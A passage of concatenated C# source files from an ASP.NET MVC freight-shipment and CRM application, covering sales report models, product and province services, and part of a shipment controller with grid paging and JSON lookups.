this.PerformPH = 0;
this.PerformSumProfit = 0;
this.SumProfit = 0;
this.SumBonus = 0;
}
}
public class YearPlan
{
public double TotalPlan { get; set; }
public YearPlan(double YearPlan1)
{
this.TotalPlan = YearPlan1;
}
}
public class PersonReportModel
{
public int Year { get; set; }
[Required]
[DisplayName("Sale to report")]
public int UserId { get; set; }
public String Action { get; set; }
}
public class DepartmentportModel
{
public int Year { get; set; }
[Required]
[DisplayName("Department to report")]
public int DeptId { get; set; }
public String Action { get; set; }
}
public class OfficeReportModel
{
public int Year { get; set; }
[Required]
[DisplayName("Department to report")]
public int OfficeId { get; set; }
public String Action { get; set; }
}
public class ReportYearModel
{
public String SaleName { get; set; }
public String Plan { get; set; }
public String PlanPerMonth { get; set; }
public String Jan { get; set; }
public String Feb { get; set; }
public String Mar { get; set; }
public String Apr { get; set; }
public String May { get; set; }
public String Jun { get; set; }
public String Jul { get; set; }
public String Aug { get; set; }
public String Sep { get; set; }
public String Oct { get; set; }
public String Nov { get; set; }
public String Dec { get; set; }
public String Total { get; set; }
public String Remain { get; set; }
}
public class MonthOfYearReport
{
public int Month { get; set; }
public string SaleType { get; set; }
public decimal PlanValue { get; set; }
public decimal Profit { get; set; }
public decimal Bonus { get; set; }
public decimal Perform { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Web;
namespace SSM.Models.CRM
{
public class CrmCusDocumentModel
{
public long Id { get; set; }
[Required]
public string DocName { get; set; }
public string Description { get; set; }
public string LinkDoc { get; set; }
public DateTime ModifiedDate { get; set; }
public long CrmCusId { get; set; }
public long CreatedById { get; set; }
public long? ModifiedById { get; set; }
public User Sales { get; set; }
public CRMCustomer CRMCustomer { get; set; }
public List<HttpPostedFileBase> Uploads { get; set; }
public IList<ServerFile> FilesList { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Reflection;
namespace SSM.Models
{
public class StringLabelAttribute : Attribute
{
#region Properties
/// <summary>
/// Holds the stringvalue for a value in an enum.
/// </summary>
public string StringLabel { get; protected set; }
#endregion
#region Constructor
/// <summary>
/// Constructor used to init a StringValue Attribute
/// </summary>
/// <param name="value"></param>
public StringLabelAttribute(string label)
{
this.StringLabel = label;
}
#endregion
}
public static class EnumUtils {
/// <summary>
/// Will get the string value for a given enums value, this will
/// only work if you assign the StringValue attribute to
/// the items in your enum.
/// </summary>
/// <param name="value"></param>
/// <returns></returns>
public static string GetStringLabel(this Enum value)
{
// Get the type
Type type = value.GetType();
// Get fieldinfo for this type
FieldInfo fieldInfo = type.GetField(value.ToString());
// Get the stringvalue attributes
StringLabelAttribute[] attribs = fieldInfo.GetCustomAttributes(
typeof(StringLabelAttribute), false) as StringLabelAttribute[];
// Return the first if there was a match.
return attribs.Length > 0 ? attribs[0].StringLabel : null;
}
}
}<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class WareHouseModel
{
public int Id { get; set; }
[Required]
[DisplayName("Warehouse Name")]
public string Name { get; set; }
[DisplayName("Type")]
public string Type { get; set; }
[DisplayName("Address")]
public string Address { get; set; }
[DisplayName("PhoneNumber")]
public string PhoneNumber { get; set; }
[DisplayName("Fax")]
public string Fax { get; set; }
[DisplayName("Email")]
public string Email { get; set; }
[DisplayName("Code")]
[Required]
public string Code { get; set; }
[DisplayName("Description")]
public string Description { get; set; }
public long? CreatedBy { get; set; }
public long? ModifiedBy { get; set; }
public long? AreaId { get; set; }
public DateTime DateCreate { get; set; }
public DateTime? DateModify { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class ProductController : Controller
{
private IProductServices productServices;
private GridNew<Product, ProductModel> gridView;
private User currentUser;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
productServices = new ProductServices();
currentUser = (User)Session[AccountController.USER_SESSION_ID];
}
public ActionResult Index(long id = 0)
{
gridView = new GridNew<Product, ProductModel>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "Name"
});
UpdateGrid();
gridView.SearchCriteria =new Product();
return View(gridView);
}
[HttpPost]
public ActionResult Index(GridNew<Product, ProductModel> grid)
{
gridView = grid;
gridView.ProcessAction();
UpdateGrid();
return PartialView("_productList",gridView);
}
public void UpdateGrid()
{
var page = gridView.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "Name" : page.Sidx, page.Sord == "asc");
var prolist = productServices.GetAll(gridView.SearchCriteria);
prolist = prolist.OrderBy(sort);
int totalRows = prolist.Count();
gridView.Pager.Init(totalRows);
if (totalRows == 0)
{
gridView.Data = new List<Product>();
return;
}
var list = productServices.GetListPager(prolist, page.CurrentPage, page.PageSize);
gridView.Data = list;
}
public FileContentResult GetImange(long id)
{
var fileToRetrieve = productServices.GetProduct(id);
if (fileToRetrieve.Image == null)
{
return null;
}
return File(fileToRetrieve.Image.ToArray(), fileToRetrieve.ContentType);
}
private bool CheckExistsCode(long id, string code)
{
var db = productServices.Count(x => x.Id != id && x.Code.ToLower() == code.ToLower());
if (db > 0)
return true;
return false;
}
public ActionResult Delete(long id)
{
try
{
productServices.DeleteProduct(id);
}
catch (Exception ex)
{
ViewBag.MessageErr = ex.Message;
}
return RedirectToAction("Index", new { id = 0 });
}
public ActionResult Edit(long id, bool isDetail = false)
{
if (id == 0)
return PartialView("_formEdit", new ProductModel());
var pro = productServices.GetProductModel(id);
if (isDetail)
{
ViewBag.IsDatail = true;
}
return PartialView("_formEdit", pro);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(ProductModel model, HttpPostedFileBase upload)
{
if (ModelState.IsValid)
{
if (CheckExistsCode(model.Id, model.Code))
{
ViewBag.MessageErr = string.Format("The code: {0} had exists on orther product!", model.Code);
return PartialView("_formEdit", model);
}
if (upload != null && upload.ContentLength > 0)
{
using (var reader = new System.IO.BinaryReader(upload.InputStream))
{
model.Image = reader.ReadBytes(upload.ContentLength);
model.FileName = upload.FileName;
model.ContentType = upload.ContentType;
}
}
if (model.Id > 0)
{
model.ModifiedBy = currentUser.Id;
model.DateModify = DateTime.Now;
productServices.UpdateProduct(model);
}
else
{
model.CreatedBy = currentUser.Id;
model.DateCreate = DateTime.Now;
productServices.InsertProduct(model);
}
return Json(1);
}
return PartialView("_formEdit", model);
}
// convert image to byte array
public byte[] imageToByteArray(System.Drawing.Image imageIn)
{
MemoryStream ms = new MemoryStream();
imageIn.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
return ms.ToArray();
}
//Byte array to photo
public Image byteArrayToImage(byte[] byteArrayIn)
{
MemoryStream ms = new MemoryStream(byteArrayIn);
Image returnImage = Image.FromStream(ms);
return returnImage;
}
}
}<file_sep>namespace SSM.Common
{
public static class Constants
{
public const string CRMSOURCE = "CRMSOURCE";
public const string CRMSTATUS = "CRMSTATUS";
public const string CRMGROUP = "CRMGROUP";
public const string CRMJOBCATEGORY = "CRMJOBCATEGORY";
public const string CRMEVENTTYPE = "CRMEVENTTYPE";
}
}<file_sep>using System;
using System.Linq;
using SSM.Models.CRM;
using SSM.Services.CRM;
using SSM.ViewModels;
namespace SSM.Common
{
public class ScheduleControlCommon
{
private static ICRMScheduleServiec scheduleServiec;
private ICRMEventService eventService;
public ScheduleControlCommon()
{
scheduleServiec = new CRMScheduleServiec();
eventService = new CRMEventService();
}
public void Start()
{
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface IProvinceService : IServices<Province>
{
Province GetById(long id);
ProvinceModel GetModelById(long id);
List<Province> GetAllByCountryId(long id);
bool InsertProvince(ProvinceModel model);
bool UpdateProvince(ProvinceModel model);
bool DeleteProvince(long id);
ProvinceModel ToModels(Province province);
}
public class ProvinceService : Services<Province>, IProvinceService
{
public Province GetById(long id)
{
return GetQuery().FirstOrDefault(x => x.Id == id);
}
public ProvinceModel GetModelById(long id)
{
var db = GetById(id);
if (db == null) return null;
return ToModels(db);
}
public List<Province> GetAllByCountryId(long id)
{
var query = GetQuery(x => x.CountryId == id).OrderBy(x => x.Name).ToList();
return query;
}
public bool InsertProvince(ProvinceModel model)
{
try
{
var db = ToDbModel(model);
Insert(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool UpdateProvince(ProvinceModel model)
{
try
{
var db = GetById(model.Id);
ConvertModel(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool DeleteProvince(long id)
{
try
{
var db = GetById(id);
Delete(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
return false;
}
}
public Province ToDbModel(ProvinceModel model)
{
var db = new Province
{
Name = model.Name,
CountryId = model.CountryId,
TimeZone = model.TimeZone
};
return db;
}
private void ConvertModel(ProvinceModel model, Province db)
{
db.Name = model.Name;
db.CountryId = model.CountryId;
db.TimeZone = model.TimeZone;
}
public ProvinceModel ToModels(Province province)
{
if (province == null) return null;
return Mapper.Map<ProvinceModel>(province);
}
}
}<file_sep>namespace SSM.ViewModels
{
public enum ColorStatus
{
SalesRevised = 1,
AcctRequest = 2,
NoBill = 3
}
public class ShipmentCheck
{
public bool IsTradingCheck { get; set; }
public bool IsFreightCheck { get; set; }
public bool IsControl { get; set; }
public long SearchQuickView { get; set; }
public ColorStatus ColorStatus { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMPlanProgMonthServics : IServices<CRMPlanProgMonth>
{
CRMPlanProgMonthModel InsertModel(CRMPlanProgMonthModel model);
CRMPlanProgMonthModel GetModelById(long id);
void UpdateModel(CRMPlanProgMonthModel model);
void DeleteModel(long id);
CRMPlanProgMonthModel ToModel(CRMPlanProgMonth db);
List<CRMSalesPlanOffice> GetPlanOffice(int year, long deptId);
}
public class CRMPlanProgMonthServics : Services<CRMPlanProgMonth>, ICRMPlanProgMonthServics
{
public CRMPlanProgMonthModel InsertModel(CRMPlanProgMonthModel model)
{
var db = new CRMPlanProgMonth
{
PlanYear = model.PlanYear,
PlanSalesId = model.PlanSalesId,
ProgramId = model.ProgramId,
};
var newDb = (CRMPlanProgMonth)Insert(db);
return ToModel(newDb);
}
public CRMPlanProgMonthModel GetModelById(long id)
{
var db = FindEntity(x => x.Id == id);
return ToModel(db);
}
public void UpdateModel(CRMPlanProgMonthModel model)
{
throw new NotImplementedException();
}
public void DeleteModel(long id)
{
var db = FindEntity(x => x.Id == id);
if (db == null)
throw new ArgumentNullException("id");
Delete(db);
}
public CRMPlanProgMonthModel ToModel(CRMPlanProgMonth db)
{
CRMPlanProgMonthModel model = Mapper.Map<CRMPlanProgMonthModel>(db);
if (db.CRMPLanSale != null)
model.CRMPLanSaleModel = Mapper.Map<CRMPLanSaleModel>(db.CRMPLanSale);
if (db.CRMPlanProgram != null)
model.CRMPlanProgramModel = Mapper.Map<CRMPlanProgramModel>(db.CRMPlanProgram);
if (db.CRMPlanMonths.Any())
{
model.CRMPlanMonthModels = db.CRMPlanMonths.Select(x => Mapper.Map<CRMPlanMonthModel>(x)).ToList();
model.TotalPlan = model.CRMPlanMonthModels.Sum(x => x.PlanValue);
}
return model;
}
public List<CRMSalesPlanOffice> GetPlanOffice(int year, long deptId)
{
var list = GetAll(x => x.PlanYear == year && (deptId == 0 || x.CRMPLanSale.Sales.DeptId == deptId)).Select(x => ToModel(x));
var qr = list.GroupBy(x => new { Sales = x.CRMPLanSaleModel, Program = x.CRMPlanProgramModel })
.Select(m => new CRMPlanProgMonthModel
{
CRMPLanSaleModel = m.Key.Sales,
CRMPlanProgramModel = m.Key.Program,
CRMPlanMonthModels = m.SelectMany(g => g.CRMPlanMonthModels.GroupBy(xp => xp.PlanMonth).Select(it => new CRMPlanMonthModel
{
PlanMonth = it.Key,
PlanValue = it.Sum(v=>v.PlanValue),
PlanYear = year
})).ToList()
});
var listDep = qr.GroupBy(x => x.CRMPLanSaleModel.Sales.Department).Select(g => new CRMSalesPlanOffice()
{
Department = g.Key,
PlanProgMonths = g
});
return listDep.ToList();
}
}
}<file_sep>using System.Web;
using System.Web.Mvc;
namespace SSM.Services
{
public class AuthorizeUserAttribute : AuthorizeAttribute
{
// Custom property
public string AccessLevel { get; set; }
protected override bool AuthorizeCore(HttpContextBase httpContext)
{
var isAuthorized = base.AuthorizeCore(httpContext);
if (!isAuthorized)
{
return false;
}
return true;
}
}
}<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class ProductModel
{
public long Id { get; set; }
[Required]
[DisplayName("Code")]
public string Code { get; set; }
[DisplayName("Product Name")]
public string Name { get; set; }
public string SupplierName { get; set; }
[Display(Name = "English Name")]
public string NameEnglish { get; set; }
[Required]
[Display(Name = "Unit")]
public string Uom { get; set; }
public string Description { get; set; }
public byte[] Image { get; set; }
public string FileName { get; set; }
public string ContentType { get; set; }
public string Category1 { get; set; }
public string Category2 { get; set; }
public string Category3 { get; set; }
[Required]
[DisplayName("SupplierId")]
public long SupplierId { get; set; }
public long? CreatedBy { get; set; }
public long? ModifiedBy { get; set; }
public DateTime DateCreate { get; set; }
public DateTime? DateModify { get; set; }
}
}<file_sep>using System;
namespace SSM.Models
{
public class SOAModel
{
public long AgentId { get; set; }
public long ShipmentId { get; set; }
public String DateFrom { get; set; }
public String DateTo { get; set; }
public double Balance { get; set; }
public double Amount { get; set; }
public String Currency { get; set; }
public String TypeNote { get; set; }
public bool IsPayment { get; set; }
public SOAModel() { }
public SOAModel(String _Currency, String _TypeNote, double _amount)
{
this.Currency = _Currency;
this.Amount = _amount;
this.TypeNote = _TypeNote;
//this.IsPayment = _isPayment;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Common;
using SSM.Models;
using System.Web.Routing;
using SSM.Services;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
using SSM.Utils;
namespace SSM.Controllers
{
public class ShipmentController : BaseController
{
#region Properties
private ShipmentServices ShipmentServices1;
private UsersServices UsersServices1;
private User User1;
private Grid<Shipment> _grid;
private GridNew<Customer, CustomerModel> _customerGrid;
private ShipmentCheck shipmentCheck;
private ICustomerServices customerServices;
private IAgentService agentService;
private ICarrierService carrierService;
private IAreaService areaService;
private IUnitService unitService;
private IServicesTypeServices servicesType;
private IHistoryService historyService;
private ICountryService countryService;
public static String SHIPMENT_SEARCH_MODEL = "SHIPMENT_SEARCH_MODEL";
public static String SHIPMENT_SEARCH_CHECK = "SHIPMENT_SEARCH_CHECK";
public static String CUSTOMER_SEARCH_MODEL = "CUSTOMER_SEARCH_MODEL";
public static String REVENUE_ID = "REVENUE_ID";
#endregion
#region Define
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
User1 = (User)Session[AccountController.USER_SESSION_ID];
ShipmentServices1 = new ShipmentServicesImpl();
UsersServices1 = new UsersServicesImpl();
customerServices = new CustomerServices();
agentService = new AgentService();
carrierService = new CarrierService();
areaService = new AreaService();
unitService = new UnitService();
servicesType = new ServicesTypeServices();
historyService = new HistoryService();
countryService = new CountryService();
ViewData["CompanyLogo"] = UsersServices1.getComSetting(CompanyInfo.COMPANY_LOGO);
ViewData["CompanyHeader"] = UsersServices1.getComSetting(CompanyInfo.COMPANY_HEADER);
ViewData["CompanyFooter"] = UsersServices1.getComSetting(CompanyInfo.COMPANY_FOOTER);
ViewData["AccountInfo"] = UsersServices1.getComSetting(CompanyInfo.ACCOUNT_INFO);
}
private IEnumerable<Customer> cnee;
private IEnumerable<Customer> shippers;
private IEnumerable<SaleType> saleTypes;
private IEnumerable<Agent> agents;
private IEnumerable<Area> areas;
private IEnumerable<CarrierAirLine> carrierAirLines;
private IEnumerable<Unit> units;
protected IEnumerable<Customer> Cnee
{
get
{
return cnee = cnee ??
customerServices.GetAll(x => (x.CustomerType == CustomerType.Cnee.ToString() || x.CustomerType == CustomerType.ShipperCnee.ToString()) && x.IsSee == true && (CurrenUser.IsAdmin() || x.IsHideUser == false))
.OrderBy(x => x.CompanyName);
}
}
protected IEnumerable<Customer> Shippers
{
get
{
return shippers = shippers ??
customerServices.GetAll(x => (x.CustomerType == CustomerType.Shipper.ToString() || x.CustomerType == CustomerType.ShipperCnee.ToString()) && x.IsSee == true && (CurrenUser.IsAdmin() || x.IsHideUser == false))
.OrderBy(x => x.CompanyName);
}
}
private void GetDefaultData()
{
saleTypes = saleTypes ?? UsersServices1.getAllSaleTypes(true);
agents = agents != null && agents.Any() ? agents : agentService.GetAll(a => a.IsActive && (CurrenUser.IsAdmin() || a.IsHideUser == false)).OrderBy(x => x.AbbName);
areas = areas != null && areas.Any() ? areas : areaService.GetAll(x => x.IsSee == true && (CurrenUser.IsAdmin() || x.IsHideUser == false)).OrderBy(x => x.AreaAddress);
carrierAirLines = carrierService.GetQuery(x => x.IsActive && x.IsSee == true && (CurrenUser.IsAdmin() || x.IsHideUser == false)).OrderBy(x => x.AbbName).ToList();
units = units != null && units.Any() ? units : unitService.GetAll().OrderBy(x => x.Unit1);
var countries = countryService.GetAll().ToList();
ViewData["Statuses"] = Statuses;
ViewData["ServicesAll"] = ServicesAll;
ViewData["SaleTypes"] = SaleTypes;
ViewData["SaleTypeST"] = SaleTypes;
ViewData["RevenueST"] = saleTypes.Select(x => new SaleType()
{
Value = (decimal?)Convert.ToDouble(x.Value),
Name = x.Name,
Active = x.Active,
Id = x.Id
});
ViewData["AgentsList"] = new SelectList(agents, "Id", "AbbName");
ViewData["CneesList"] = new SelectList(Cnee, "Id", "CompanyName");
ViewData["Agents"] = agents;//index
ViewData["Cnees"] = Cnee;
ViewData["Shippers"] = new SelectList(Shippers, "Id", "CompanyName");
ViewData["ShippersFull"] = Shippers;
ViewData["Areas"] = new SelectList(areas, "Id", "AreaAddress");
ViewData["Carriers"] = new SelectList(carrierAirLines, "Id", "AbbName");
ViewData["Units"] = new SelectList(units, "Unit1", "Unit1");
ViewData["CountryList"] = new SelectList(countries, "Id", "CountryName");
ViewData["CountryNameList"] = new SelectList(countries, "CountryName", "CountryName");
List<String> List1 = new List<String>();
ViewData["AreaListDep"] = new SelectList(List1);
/*ToDo get all sales will modify later*/
List<UsersModel> ListUser = new List<UsersModel>();
if (User1.IsAdminAndAcct() || User1.IsOperations())
{
ListUser.AddRange(UsersServices1.getOpnSaleUser());
}
else if (User1.IsDepManager())
{
ListUser.AddRange(UsersServices1.getUsersBy(User1.DeptId.Value));
}
if (ListUser.Count > 0)
{
ListUser = ListUser.Distinct().ToList();
ViewData["Sales"] = new SelectList(ListUser.Where(x => x.IsActive).OrderBy(x => x.FullName), "Id", "FullName");
}
ViewData["InvTypes"] = InvTypes;
ViewData["CurrencyTypes"] = CurrencyTypes;
}
public SelectList Statuses
{
get
{
Array values = Enum.GetValues(typeof(ShipmentModel.RevenueStatusCollec));
List<ListItem> items = new List<ListItem>(values.Length);
items.Add(new ListItem
{
Text = "--Select a status--",
Value = ""
});
foreach (var i in values)
{
items.Add(new ListItem
{
Text = ShipmentModel.ViewStatus(i.ToString()),
Value = i.ToString()
});
}
return new SelectList(items, "Value", "Text");
}
}
private SelectList InvTypes
{
get
{
var invs = from RevenueModel.InvTypes Inv in Enum.GetValues(typeof(RevenueModel.InvTypes))
select new { Id = Inv, Name = Inv.GetStringLabel() };
return new SelectList(invs, "Id", "Name");
}
}
private SelectList CurrencyTypes
{
get
{
var invs = from RevenueModel.CurrencyTypes Inv in Enum.GetValues(typeof(RevenueModel.CurrencyTypes))
select new { Id = Inv, Name = Inv.GetStringLabel() };
return new SelectList(invs, "Id", "Name");
}
}
private IEnumerable<ServicesType> servicesList;
private SelectList Services
{
get
{
List<ServicesType> list = new List<ServicesType>();
var servicesTypeItem = new ServicesType { Id = 0, SerivceName = "--All Services--" };
list.Add(servicesTypeItem);
list.AddRange(servicesList ?? servicesType.GetAll(x => x.IsActive).OrderBy(x => x.SerivceName).ToList());
return new SelectList(list, "Id", "SerivceName");
}
}
private SelectList ServicesAll
{
get
{
List<ServicesType> list = new List<ServicesType>();
var servicesTypeItem = new ServicesType { Id = 0, SerivceName = "--All Services--" };
list.Add(servicesTypeItem);
list.AddRange(servicesType.GetAll().OrderBy(x => x.SerivceName).ToList());
return new SelectList(list, "Id", "SerivceName");
}
}
#endregion
#region Shippemt
#region Index Shippment
public ActionResult Index()
{
string pageSize = "100";
if (Cookie != null)
{
if (Cookie["ShipmentList"] != null)
pageSize = Cookie["ShipmentList"];
}
else
{
pageSize = UsersServices1.PageSettingNumber().DataValue;
}
_grid = (Grid<Shipment>)Session[SHIPMENT_SEARCH_MODEL];
if (_grid == null)
{
_grid = new Grid<Shipment>
(
new Pager
{
CurrentPage = 1,
PageSize = int.Parse(pageSize),
Sord = "desc",
Sidx = "DateShp"
}
);
_grid.SearchCriteria = new Shipment();
}
long SearchQuickView = Session["SearchQuickView"] == null ? 0 : (long)Session["SearchQuickView"];
Session["SearchQuickView"] = SearchQuickView;
shipmentCheck = (ShipmentCheck)Session[SHIPMENT_SEARCH_CHECK] ?? new ShipmentCheck();
UpdateGridData(SearchQuickView);
ViewData["ShipmentCheck"] = shipmentCheck;
return View(_grid);
}
[HttpPost]
public ActionResult Index(Grid<Shipment> grid, long SearchQuickView, ShipmentCheck searCheckModel)
{
_grid = grid;
Session[SHIPMENT_SEARCH_MODEL] = grid;
if (SearchQuickView == 0)
{
SearchQuickView = Session["SearchQuickView"] == null ? 0 : (long)Session["SearchQuickView"];
}
shipmentCheck = searCheckModel;
Session[SHIPMENT_SEARCH_CHECK] = shipmentCheck;
Session["SearchQuickView"] = SearchQuickView;
if (_grid.GridAction == GridAction.ChangePageSize)
{
SetCookiePager(_grid.Pager.PageSize, "ShipmentList");
}
_grid.ProcessAction();
UpdateGridData(SearchQuickView);
ViewData["ShipmentCheck"] = shipmentCheck;
return PartialView("_ListData", _grid);
}
public ActionResult ListControl()
{
string pageSize;
if (Cookie != null && Cookie["ShipmentList"] != null)
{
pageSize = Cookie["ShipmentList"];
}
else
{
pageSize = UsersServices1.PageSettingNumber().DataValue;
}
_grid = (Grid<Shipment>)Session[SHIPMENT_SEARCH_MODEL];
if (_grid == null)
{
_grid = new Grid<Shipment>
(
new Pager
{
CurrentPage = 1,
PageSize = int.Parse(pageSize),
Sord = "desc",
Sidx = "DateShp"
}
);
_grid.SearchCriteria = new Shipment();
}
long SearchQuickView = Session["SearchQuickView"] == null ? 0 : (long)Session["SearchQuickView"];
Session["SearchQuickView"] = SearchQuickView;
shipmentCheck = new ShipmentCheck() { IsControl = true };
UpdateGridData(SearchQuickView);
ViewData["ShipmentCheck"] = shipmentCheck;
return View(_grid);
}
[HttpPost]
public ActionResult ListControl(Grid<Shipment> grid, long SearchQuickView, ShipmentCheck searCheckModel)
{
_grid = grid;
Session[SHIPMENT_SEARCH_MODEL] = grid;
if (SearchQuickView == 0)
{
SearchQuickView = Session["SearchQuickView"] == null ? 0 : (long)Session["SearchQuickView"];
}
shipmentCheck = searCheckModel;
shipmentCheck.IsControl = true;
Session["SearchQuickView"] = SearchQuickView;
_grid.ProcessAction();
if (_grid.GridAction == GridAction.ChangePageSize)
{
SetCookiePager(_grid.Pager.PageSize, "ShipmentList");
}
UpdateGridData(SearchQuickView);
ViewData["ShipmentCheck"] = shipmentCheck;
return PartialView("_ListDataControl", _grid);
}
public List<long> UListAvilibel()
{
List<long> UserIds1 = new List<long>();
UserIds1.Add(User1.Id);
if (User1.IsAdmin() || User1.IsAccountant())
UserIds1 = new List<long>();
else if (User1.IsDirecter() || User1.IsAccountant())
{
UserIds1.AddRange(User1.Company.Users.Where(x => x.IsActive).Select(_user => _user.Id).ToList());
if (!User1.IsComDirecter()) return UserIds1.Distinct().ToList();
var lu = UsersServices1.GetAllUsersComs(User1);
UserIds1 = UsersServices1.GetAll(x => lu.Contains(x.ComId.Value)).Select(_user => _user.Id).ToList();
if (UserIds1.Count == 0)
{
UserIds1.Add(User1.Id);
}
}
else
if (UsersModel.isDeptManager(User1))
{
UserIds1.AddRange(from _user in User1.Department.Users
where _user.IsActive == true
&& _user.ComId == User1.ComId
select _user.Id);
}
return UserIds1.Distinct().ToList();
}
private void UpdateGridData(long QuickView)
{
GetDefaultData();
int Skip = (_grid.Pager.CurrentPage - 1) * _grid.Pager.PageSize;
int Take = _grid.Pager.PageSize;
List<long> UserIds1 = UListAvilibel();
var shipments = ShipmentServices1.GetQueryShipment(ShipmentServices1.ConvertShipment(_grid.SearchCriteria), User1, UserIds1, QuickView);
var orderField = new SSM.Services.SortField(string.IsNullOrEmpty(_grid.Pager.Sidx) ? "DateShp" : _grid.Pager.Sidx, _grid.Pager.Sord == "asc");
if (shipmentCheck.IsFreightCheck && !shipmentCheck.IsTradingCheck)
{
shipments = shipments.Where(x => x.IsTrading == null || x.IsTrading.Value == false);
}
else if (shipmentCheck.IsTradingCheck && !shipmentCheck.IsFreightCheck)
{
shipments = shipments.Where(x => x.IsTrading != null && x.IsTrading.Value == true);
}
if (shipmentCheck.IsFreightCheck == shipmentCheck.IsTradingCheck == false)
shipmentCheck.IsFreightCheck = shipmentCheck.IsTradingCheck = true;
if (shipmentCheck.IsControl)
{
shipments = shipments.Where(x => x.IsControl == true);
}
switch (shipmentCheck.ColorStatus)
{
case ColorStatus.SalesRevised:
shipments = shipments.Where(x => x.Revenue != null && x.Revenue.IsRevised);
break;
case ColorStatus.AcctRequest:
shipments = shipments.Where(x => x.Revenue != null && x.Revenue.IsRequest);
break;
case ColorStatus.NoBill:
shipments = shipments.Where(x =>
(x.MasterNum == null || x.MasterNum == "" || x.MasterNum.Equals("CHUA BILL")) || x.HouseNum == null || x.HouseNum == "" || x.HouseNum.Equals("CHUA BILL"));
break;
default:
break;
}
shipments = shipments.OrderBy(orderField).ThenBy(x => x.ShipmentRef).ThenBy(x => x.ControlStep);//.ThenBy(x => x.ControlStep);
int totalRows = shipments.Count();
_grid.Pager.Init(totalRows);
if (totalRows == 0)
{
_grid.Data = new List<Shipment>();
return;
}
ViewData["ShipmentCheck"] = shipmentCheck;
// var shipmentsViewList =GetListPager(Shipments,sh)
var shipmentsViewList = shipments.Skip(Skip).Take(Take).ToList();
_grid.Data = shipmentsViewList;
_grid.SearchCriteria.CompanyId = 0;
}
#endregion
#region Ajax load data function
public JsonResult GetJsonByCountry(long id, long CountryId)
{
IEnumerable<Area> AreaList = ShipmentServices1.getAllAreaByCountry(CountryId);
List<AreaModel> AreaModels = new List<AreaModel>();
foreach (Area Area1 in AreaList)
{
AreaModel AreaModel1 = new AreaModel();
AreaModel1.Id = Area1.Id;
AreaModel1.AreaAddress = Area1.AreaAddress;
AreaModel1.CountryId = CountryId;
AreaModels.Add(AreaModel1);
}
return this.Json(AreaModels, JsonRequestBehavior.AllowGet);
}
public JsonResult GetUnitJsonByService(long id, String ServiceName)
{
List<Unit> UnitsDS = new List<Unit>();
if (ShipmentModel.Services.AirInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.AirOutbound.ToString().Equals(ServiceName))
{
UnitsDS = unitService.GetAll(x => x.ServiceType.Equals("Air")).OrderBy(x => x.Unit1).ToList();
}
else if (ShipmentModel.Services.SeaInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.SeaOutbound.ToString().Equals(ServiceName))
{
UnitsDS = unitService.GetAll(x => x.ServiceType.Equals("Sea")).OrderBy(x => x.Unit1).ToList();
}
else
{
UnitsDS = unitService.GetAll().OrderBy(x => x.Unit1).ToList();
}
return this.Json(UnitsDS, JsonRequestBehavior.AllowGet);
}
public JsonResult GetAgentsJsonByService(String DateFrom, String DateTo)
{
List<Agent> UnitsDS = new List<Agent>();
List<AgentModel> JsonUnitsDS = new List<AgentModel>();
SOAModel SOAModel1 = new SOAModel();
SOAModel1.DateFrom = DateFrom;
SOAModel1.DateTo = DateTo;
UnitsDS = ShipmentServices1.GetAgentBySOA(SOAModel1).OrderBy(x => x.AbbName).ToList();
foreach (Agent carrier in UnitsDS)
{
AgentModel model = new AgentModel();
model.Id = carrier.Id;
model.Address = carrier.Address;
model.AbbName = carrier.AbbName;
model.Description = carrier.Description;
JsonUnitsDS.Add(model);
}
return this.Json(JsonUnitsDS, JsonRequestBehavior.AllowGet);
}
public JsonResult GetCarrierJsonByService(long id, String ServiceName)
{
List<CarrierAirLine> UnitsDS = new List<CarrierAirLine>();
List<CarrierModel> JsonUnitsDS = new List<CarrierModel>();
if (ShipmentModel.Services.AirInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.AirOutbound.ToString().Equals(ServiceName))
{
UnitsDS = carrierService.GetAllByType(CarrierType.AirLine.ToString()).ToList();
}
else if (ShipmentModel.Services.SeaInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.SeaOutbound.ToString().Equals(ServiceName))
{
UnitsDS = carrierService.GetAllByType(CarrierType.ShippingLine.ToString()).ToList();
}
else
{
UnitsDS = carrierService.GetAll().ToList();
}
foreach (CarrierAirLine carrier in UnitsDS)
{
CarrierModel model = new CarrierModel();
model.Id = carrier.Id;
model.Address = carrier.CarrierAirLineName;
model.AbbName = carrier.AbbName;
model.Description = carrier.Description;
JsonUnitsDS.Add(model);
}
return this.Json(JsonUnitsDS, JsonRequestBehavior.AllowGet);
}
#endregion
#region Create Shipment
public ActionResult Create()
{
